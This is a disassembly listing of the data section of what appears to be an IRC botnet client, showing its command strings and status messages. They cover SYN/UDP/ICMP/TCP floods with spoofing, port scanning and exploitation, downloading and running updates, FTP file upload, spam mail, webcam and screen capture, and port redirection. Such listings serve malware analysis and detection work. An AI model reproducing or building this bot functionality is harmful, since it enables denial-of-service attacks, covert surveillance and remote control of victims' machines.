dword_435D14	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_413FABo
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
dword_435D60	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_413FA1o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 10h
dword_435DB0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+48A6o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 4
dword_435DEC	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_413EFFo
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 4
dword_435E34	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_413EF8o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 4
dword_435E78	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+47F7o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 4
aFrame		db 'frame',0            ; DATA XREF: sub_40F6F1:loc_413E6Co
		align 4
dword_435EBC	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+476Eo
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_435EF0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+4738o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40F6F1:loc_413DD5o
dword_435F2C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_413DC2o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_435F74	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_413DBBo
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_435FB0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+46BAo
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40F6F1:loc_413D72o
		align 4
dword_435FF4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4663o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_43601C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4628o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_43605C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+460Co
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 10h
dword_436090	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+458Do
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_4360BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4552o
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_4360E8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+44FCo
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_436114	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4494o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_436138	dd 54524150h, 0D732520h, 0Ah					; sub_40F6F1+50FCo
dword_436144	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+442Bo
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 10h
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40F6F1+441Do
		align 4
dword_43617C	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40F6F1+43F4o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_4361A8	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40F6F1+4389o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
dword_4361D4	dd 45444F4Dh, 732520hdword_4361DC	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40F6F1+42FFo
		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_436208	dd 4B43494Eh, 732520h					; sub_40F6F1+4F43o
dword_436210	dd 4E494F4Ah, 20732520h, 7325hdword_43621C	dd 54524150h, 732520hdword_436224	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_4138FEo
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_436268	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+41D6o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40F6F1+4185o
		align 4
dword_436298	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_41382Eo
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_4362BC	dd 25207325h, 73252073h, 73253A20h, 0					; sub_40F6F1+41B0o ...
unk_4362CC	db    2			; DATA XREF: sub_40F6F1:loc_41379Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_436320	db    2			; DATA XREF: sub_40F6F1+40A2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_43636C	db    2			; DATA XREF: sub_40F6F1+4033o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40F6F1+3F8Do
		align 4
dword_4363B4	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40F6F1+3F2Bo
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_4363DC	db    2			; DATA XREF: sub_40F6F1+3F20o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 10h
unk_436410	db    2			; DATA XREF: sub_40F6F1+3E98o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_43645C	db    2			; DATA XREF: sub_40F6F1+3E1Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_43649C	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40F6F1:loc_413471o
					; sub_40F6F1:loc_414449o
		dd 0BBBB0220h, 2002h
unk_4364B8	db    2			; DATA XREF: sub_40F6F1+3D68o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_4364EC	db    2			; DATA XREF: sub_40F6F1:loc_413437o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_436534	db    2			; DATA XREF: sub_40F6F1+3D3Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_43657C	db    2			; DATA XREF: sub_40F6F1+3CC2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_4365B8	db    2			; DATA XREF: sub_40F6F1+3C4Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_15	db ' Failed to start clone thread, error: <%d>.',0
unk_436600	db    2			; DATA XREF: sub_40F6F1+3BDCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 10h
unk_436640	db    2			; DATA XREF: sub_40F6F1+3B60o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436688	db    2			; DATA XREF: sub_40F6F1+3AE8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_4366C8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+3A67o
		dd 2BBBB02h
aFailedToSta_17	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_436710	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+39EFo
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_43674C	db    2			; DATA XREF: sub_40F6F1+397Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_43679C	db    2			; DATA XREF: sub_40F6F1+3910o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_4367D8	db    2			; DATA XREF: sub_40F6F1+3827o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
unk_43682C	db    2			; DATA XREF: sub_40F6F1+37BCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
unk_436878	db    2			; DATA XREF: sub_40F6F1+3731o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_19	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_4368C4	db    2			; DATA XREF: sub_40F6F1+36C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40F6F1+363Eo
		align 10h
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40F6F1+3544o
		align 10h
dword_436930	dd 54434101h, 204E4F49h, 17325h					; sub_40F6F1+44DDo
unk_43693C	db    2			; DATA XREF: sub_40F6F1+3457o
					; sub_40F6F1+53E9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_436984	db    2			; DATA XREF: sub_40F6F1+33E8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40F6F1+33BDo
					; sub_40F6F1+534Do
		align 10h
aRandom_0	db 'Random',0           ; DATA XREF: sub_40F6F1+33B6o
					; sub_40F6F1+5346o
		align 4
unk_436A08	db    2			; DATA XREF: sub_40F6F1+3278o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan, no IP specified.',0
		align 4
unk_436A4C	db    2			; DATA XREF: sub_40F6F1+321Bo
					; sub_40F6F1:loc_414B28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, port is invalid.',0
		align 10h
unk_436A90	db    2			; DATA XREF: sub_40F6F1+3129o
					; sub_40F6F1+519Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_436ADC	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+30CEo
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_436B24	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+3063o
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40F6F1+2FACo
		align 4
unk_436B94	db    2			; DATA XREF: sub_40F6F1+2F97o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436BDC	db    2			; DATA XREF: sub_40F6F1+2F28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_436C34	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_41256Eo
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_436C7C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2E73o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_436CC4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2DF9o
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40F6F1+2DE9o
		align 10h
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40F6F1+2DE2o
dword_436D18	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2D4Do
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_436D50	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_412353o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_436D8C	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2C5Bo
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40F6F1+2C44o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40F6F1+2C2Do
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40F6F1+2C0Do
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_40F6F1+2BE9o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40F6F1+2BD8o
		align 4
dword_436E08	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2B62o
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40F6F1+2B3Fo
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40F6F1+2B1Co
		align 10h
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40F6F1+2B05o
		align 10h
unk_436E60	db    3			; DATA XREF: sub_40F6F1+2AE9o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40F6F1+2A75o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40F6F1+29D9o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40F6F1+298Ao
		align 4
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40F6F1+2973o
		align 4
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40F6F1+295Co
		align 4
aP:					; DATA XREF: sub_40F6F1+2945o
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40F6F1+292Eo
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40F6F1+2917o
		align 4
aU:					; DATA XREF: sub_40F6F1+2900o
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40F6F1+28E9o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40F6F1+28D2o
		align 4
aRoot_s		db 'root.s',0           ; DATA XREF: sub_40F6F1+28BBo
		align 10h
aRoot_start	db 'root.start',0       ; DATA XREF: sub_40F6F1+28A4o
		align 4
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40F6F1+287Bo
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40F6F1+2864o
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40F6F1+284Do
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40F6F1+2836o
		align 4
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40F6F1+281Fo
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40F6F1+2808o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40F6F1+27F1o
		align 4
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40F6F1+27DAo
aDownload_wg33	db 'download.wg33',0    ; DATA XREF: sub_40F6F1+27C3o
		align 4
aDownload_wgett	db 'download.wgett4m13',0 ; DATA XREF: sub_40F6F1+27ACo
		align 4
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40F6F1+2795o
		align 4
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40F6F1+277Eo
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40F6F1+2722o
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40F6F1+270Bo
		align 10h
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40F6F1+26E2o
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40F6F1+26CBo
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40F6F1+26B4o
		align 4
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40F6F1+269Do
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_40F6F1+2686o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_40F6F1+266Fo
		align 4
aCom_e		db 'com.e',0            ; DATA XREF: sub_40F6F1+2658o
		align 10h
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40F6F1+2641o
aDownload_up33	db 'download.up33',0    ; DATA XREF: sub_40F6F1+262Ao
		align 4
aDownload_updat	db 'download.updat4m13',0 ; DATA XREF: sub_40F6F1+2613o
		align 10h
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40F6F1+25FCo
		align 4
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40F6F1+25E5o
		align 4
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40F6F1+25CEo
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40F6F1+25B7o
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40F6F1+25A0o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40F6F1+2589o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40F6F1+2572o
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40F6F1+255Bo
		align 10h
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40F6F1+2544o
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40F6F1+252Do
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40F6F1+2516o
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40F6F1+24FFo
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40F6F1+24E8o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40F6F1+24D1o
